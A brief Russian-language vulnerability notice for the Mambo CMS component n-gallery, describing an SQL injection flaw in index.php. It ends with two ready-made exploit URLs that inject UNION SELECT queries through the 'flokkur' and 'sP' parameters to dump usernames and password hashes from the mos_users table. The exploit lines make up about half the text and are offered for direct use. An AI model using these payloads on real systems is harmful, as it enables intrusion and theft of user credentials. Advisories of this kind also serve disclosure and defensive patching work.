Программа: Mambo Component n-gallery
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных сценарием index.php. Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
index.php?option=com_n-gallery&flokkur=-1+union+select+concat (username,char(58),password)KHG+from+mos_users--
index.php?option=com_n-gallery&Itemid=29&sP=-1+union+select+1,2,
concat(username,char(58),password)KHG,4,5,6,7,8,9,10,11,12,13,14,15,16,
17+from+mos_users/* #
